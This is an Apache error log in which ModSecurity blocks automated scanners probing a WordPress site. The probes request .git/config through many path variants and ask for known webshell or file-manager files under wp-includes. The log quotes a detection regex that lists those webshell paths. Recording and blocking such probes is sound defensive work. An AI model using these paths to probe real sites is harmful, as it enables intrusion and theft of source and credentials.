[Thu Nov 27 04:07:24.661800 2025] [:error] [pid 6202:tid 6253] [client 213.21.239.4:47566] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www/.git;/config"] [unique_id "aSdd_NJa7NTP0XPyZ6lbDQAAAFQ"]
[Thu Nov 27 04:07:26.659646 2025] [:error] [pid 6203:tid 6271] [client 213.21.239.4:47572] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www../config"] [unique_id "aSdd_sbdRL7aKyrgqyy5AgAAAIs"]
[Thu Nov 27 04:07:26.671425 2025] [:error] [pid 6201:tid 6208] [client 213.21.239.4:47586] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au/config"] [unique_id "aSdd_jkSJeRkIQGTjzwWygAAAAM"]
[Thu Nov 27 04:07:26.684739 2025] [:error] [pid 6203:tid 6282] [client 213.21.239.4:47592] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www/.git;/config"] [unique_id "aSdd_sbdRL7aKyrgqyy5AwAAAJY"]
[Thu Nov 27 04:07:27.611776 2025] [:error] [pid 6290:tid 6296] [client 213.21.239.4:47600] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www/static../.git/config"] [unique_id "aSdd_4qL4zye-zKr6suHcAAAAMI"]
[Thu Nov 27 04:07:27.613130 2025] [:error] [pid 6290:tid 6298] [client 213.21.239.4:47616] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/staging/.git/config"] [unique_id "aSdd_4qL4zye-zKr6suHcQAAAMQ"]
[Thu Nov 27 04:07:27.613166 2025] [:error] [pid 6202:tid 6239] [client 213.21.239.4:47656] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/wp-content/.git/config"] [unique_id "aSdd_9Ja7NTP0XPyZ6lbDgAAAEY"]
[Thu Nov 27 04:07:27.617134 2025] [:error] [pid 6202:tid 6242] [client 213.21.239.4:47628] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/static../.git/config"] [unique_id "aSdd_9Ja7NTP0XPyZ6lbDwAAAEk"]
[Thu Nov 27 04:07:27.620349 2025] [:error] [pid 6202:tid 6238] [client 213.21.239.4:47654] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/web/.git/config"] [unique_id "aSdd_9Ja7NTP0XPyZ6lbEAAAAEU"]
[Thu Nov 27 04:07:27.621192 2025] [:error] [pid 6202:tid 6244] [client 213.21.239.4:47642] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/uat/.git/config"] [unique_id "aSdd_9Ja7NTP0XPyZ6lbEQAAAEs"]
[Thu Nov 27 04:07:27.621482 2025] [:error] [pid 6201:tid 6224] [client 213.21.239.4:47664] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/.git/config"] [unique_id "aSdd_zkSJeRkIQGTjzwWzAAAABM"]
[Thu Nov 27 04:07:27.627364 2025] [:error] [pid 6201:tid 6229] [client 213.21.239.4:47676] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/.git/config"] [unique_id "aSdd_zkSJeRkIQGTjzwWzQAAABg"]
[Thu Nov 27 05:20:11.749785 2025] [autoindex:error] [pid 21017:tid 21059] [client 4.235.105.13:13265] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Nov 27 05:20:12.029056 2025] [autoindex:error] [pid 21017:tid 21077] [client 4.235.105.13:13265] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Thu Nov 27 05:20:12.308149 2025] [proxy_fcgi:error] [pid 21017:tid 21061] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Nov 27 05:20:12.605365 2025] [proxy_fcgi:error] [pid 21017:tid 21067] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:13.117838 2025] [proxy_fcgi:error] [pid 21017:tid 21081] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:13.384734 2025] [proxy_fcgi:error] [pid 21017:tid 21073] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:13.670106 2025] [proxy_fcgi:error] [pid 21017:tid 21075] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:13.935923 2025] [proxy_fcgi:error] [pid 21017:tid 21070] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Nov 27 05:20:14.233175 2025] [proxy_fcgi:error] [pid 21017:tid 21062] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Nov 27 05:20:14.507101 2025] [proxy_fcgi:error] [pid 21017:tid 21080] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Nov 27 05:20:15.339156 2025] [proxy_fcgi:error] [pid 21017:tid 21077] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Thu Nov 27 05:20:16.117437 2025] [proxy_fcgi:error] [pid 21017:tid 21083] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Nov 27 05:20:16.428927 2025] [proxy_fcgi:error] [pid 21017:tid 21061] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Nov 27 05:20:16.866108 2025] [proxy_fcgi:error] [pid 21017:tid 21081] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Nov 27 05:20:17.385800 2025] [proxy_fcgi:error] [pid 21017:tid 21080] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Nov 27 05:20:17.743044 2025] [proxy_fcgi:error] [pid 21017:tid 21066] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Nov 27 05:20:19.519896 2025] [proxy_fcgi:error] [pid 21017:tid 21067] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Nov 27 05:20:20.080933 2025] [proxy_fcgi:error] [pid 21017:tid 21079] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Nov 27 05:20:20.346964 2025] [proxy_fcgi:error] [pid 21017:tid 21082] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Nov 27 05:20:20.612634 2025] [proxy_fcgi:error] [pid 21017:tid 21081] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Nov 27 05:20:20.911401 2025] [proxy_fcgi:error] [pid 21017:tid 21075] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Nov 27 05:20:21.233731 2025] [proxy_fcgi:error] [pid 21017:tid 21068] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Nov 27 05:20:22.080604 2025] [proxy_fcgi:error] [pid 21017:tid 21062] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Nov 27 05:20:22.345247 2025] [proxy_fcgi:error] [pid 21017:tid 21072] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:23.286508 2025] [proxy_fcgi:error] [pid 21017:tid 21065] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Nov 27 05:20:23.610811 2025] [proxy_fcgi:error] [pid 21017:tid 21060] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Nov 27 05:20:23.905347 2025] [proxy_fcgi:error] [pid 21017:tid 21063] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Nov 27 05:20:25.702918 2025] [proxy_fcgi:error] [pid 21017:tid 21064] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:25.969511 2025] [proxy_fcgi:error] [pid 21017:tid 21079] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Nov 27 05:20:26.235609 2025] [proxy_fcgi:error] [pid 21017:tid 21082] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Nov 27 05:20:27.821569 2025] [proxy_fcgi:error] [pid 21017:tid 21068] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Nov 27 05:20:28.086352 2025] [proxy_fcgi:error] [pid 21017:tid 21073] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Nov 27 05:20:29.261941 2025] [proxy_fcgi:error] [pid 21017:tid 21071] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Nov 27 05:20:29.539404 2025] [proxy_fcgi:error] [pid 21017:tid 21080] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:29.806902 2025] [proxy_fcgi:error] [pid 21017:tid 21062] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:30.071354 2025] [proxy_fcgi:error] [pid 21017:tid 21066] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Nov 27 05:20:30.789657 2025] [proxy_fcgi:error] [pid 21017:tid 21065] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Nov 27 05:20:31.075820 2025] [proxy_fcgi:error] [pid 21017:tid 21060] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Nov 27 05:20:31.611195 2025] [proxy_fcgi:error] [pid 21017:tid 21079] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:32.062085 2025] [proxy_fcgi:error] [pid 21017:tid 21081] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Thu Nov 27 05:20:32.327796 2025] [proxy_fcgi:error] [pid 21017:tid 21069] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:32.863158 2025] [proxy_fcgi:error] [pid 21017:tid 21076] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Nov 27 05:20:33.129397 2025] [proxy_fcgi:error] [pid 21017:tid 21060] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Nov 27 05:20:33.577857 2025] [proxy_fcgi:error] [pid 21017:tid 21078] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Thu Nov 27 05:20:33.844193 2025] [proxy_fcgi:error] [pid 21017:tid 21071] [client 4.235.105.13:13265] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Thu Nov 27 05:20:34.105639 2025] [:error] [pid 21017:tid 21066] [client 4.235.105.13:13265] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSdvIqZA663ub03MMQuQ7AAAAQc"], referer: https://www.bing.com/
[Thu Nov 27 05:20:36.118231 2025] [proxy_fcgi:error] [pid 21017:tid 21064] [client 4.235.105.13:13280] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Thu Nov 27 05:20:43.692132 2025] [proxy_fcgi:error] [pid 21017:tid 21066] [client 4.235.105.13:13280] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Thu Nov 27 05:20:43.970826 2025] [proxy_fcgi:error] [pid 21017:tid 21076] [client 4.235.105.13:13280] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Thu Nov 27 05:20:44.266761 2025] [proxy_fcgi:error] [pid 21017:tid 21074] [client 4.235.105.13:13280] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Thu Nov 27 05:20:51.809589 2025] [proxy_fcgi:error] [pid 21017:tid 21083] [client 4.235.105.13:13280] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Thu Nov 27 05:20:52.661656 2025] [:error] [pid 21017:tid 21062] [client 4.235.105.13:13280] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSdvNKZA663ub03MMQuRZQAAAQM"], referer: https://www.google.com/
[Thu Nov 27 05:20:54.987073 2025] [:error] [pid 6201:tid 6209] [client 4.235.105.13:13311] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/test1.php"] [unique_id "aSdvNjkSJeRkIQGTjzwpSQAAAAQ"], referer: https://www.google.fr/
[Thu Nov 27 05:20:58.411208 2025] [:error] [pid 6290:tid 6298] [client 4.235.105.13:13200] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSdvOoqL4zye-zKr6sufTAAAAMQ"], referer: https://www.google.fr/
[Thu Nov 27 05:21:02.374722 2025] [:error] [pid 21017:tid 21073] [client 4.235.105.13:13284] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aSdvPqZA663ub03MMQuRfwAAAQ4"], referer: https://www.google.com/
[Thu Nov 27 05:21:09.189822 2025] [:error] [pid 21017:tid 21068] [client 4.235.105.13:13263] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aSdvRaZA663ub03MMQuR2gAAAQk"], referer: https://www.google.de/
[Thu Nov 27 05:21:12.284889 2025] [:error] [pid 6203:tid 6276] [client 4.235.105.13:13298] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSdvSMbdRL7aKyrgqyzOtwAAAJA"], referer: https://duckduckgo.com/
[Thu Nov 27 05:21:16.691306 2025] [:error] [pid 6290:tid 6294] [client 4.235.105.13:13261] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSdvTIqL4zye-zKr6sufbAAAAMA"], referer: https://www.google.com/
[Thu Nov 27 05:21:19.054835 2025] [:error] [pid 6201:tid 6224] [client 4.235.105.13:13308] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aSdvTzkSJeRkIQGTjzwpewAAABM"], referer: https://www.google.de/
[Thu Nov 27 05:21:22.208594 2025] [:error] [pid 6203:tid 6283] [client 4.235.105.13:13138] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSdvUsbdRL7aKyrgqyzO8AAAAJc"], referer: https://www.google.de/
[Thu Nov 27 05:21:25.213343 2025] [:error] [pid 6290:tid 6298] [client 4.235.105.13:13303] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSdvVYqL4zye-zKr6sufdAAAAMQ"], referer: https://www.yahoo.com/
[Thu Nov 27 05:21:29.739841 2025] [:error] [pid 6290:tid 6301] [client 4.235.105.13:13288] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "aSdvWYqL4zye-zKr6sufeQAAAMc"], referer: https://www.bing.com/
[Thu Nov 27 05:21:32.836489 2025] [:error] [pid 6290:tid 6299] [client 4.235.105.13:13289] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aSdvXIqL4zye-zKr6suffQAAAMU"], referer: https://www.google.fr/
[Thu Nov 27 05:21:43.005792 2025] [:error] [pid 6203:tid 6266] [client 4.235.105.13:13310] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSdvZ8bdRL7aKyrgqyzPHgAAAIY"], referer: https://www.yahoo.com/
[Thu Nov 27 05:21:48.893637 2025] [:error] [pid 6290:tid 6296] [client 4.235.105.13:13186] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSdvbIqL4zye-zKr6sufsQAAAMI"], referer: https://www.google.fr/
[Thu Nov 27 05:21:52.081772 2025] [:error] [pid 6203:tid 6261] [client 4.235.105.13:13249] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSdvcMbdRL7aKyrgqyzPJAAAAIE"], referer: https://www.google.co.uk/
[Thu Nov 27 05:21:54.567760 2025] [:error] [pid 6201:tid 6229] [client 4.235.105.13:13206] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/index.php"] [unique_id "aSdvcjkSJeRkIQGTjzwpqAAAABg"], referer: https://www.bing.com/
[Thu Nov 27 05:21:56.567806 2025] [:error] [pid 6290:tid 6316] [client 4.235.105.13:13199] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSdvdIqL4zye-zKr6sufuAAAANY"], referer: https://www.google.com/
[Thu Nov 27 05:21:59.383669 2025] [:error] [pid 21017:tid 21068] [client 4.235.105.13:13250] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSdvd6ZA663ub03MMQuSNgAAAQk"], referer: https://www.google.de/
[Thu Nov 27 05:22:01.032224 2025] [:error] [pid 6202:tid 6253] [client 4.235.105.13:13268] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/jcrop.php"] [unique_id "aSdvedJa7NTP0XPyZ6luXgAAAFQ"], referer: https://www.google.com/
[Thu Nov 27 05:22:04.788160 2025] [:error] [pid 21017:tid 21073] [client 4.235.105.13:13198] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aSdvfKZA663ub03MMQuSSgAAAQ4"], referer: https://www.google.co.uk/
[Thu Nov 27 05:22:07.715215 2025] [:error] [pid 6202:tid 6251] [client 4.235.105.13:13270] [client 4.235.105.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSdvf9Ja7NTP0XPyZ6luaAAAAFI"], referer: https://duckduckgo.com/
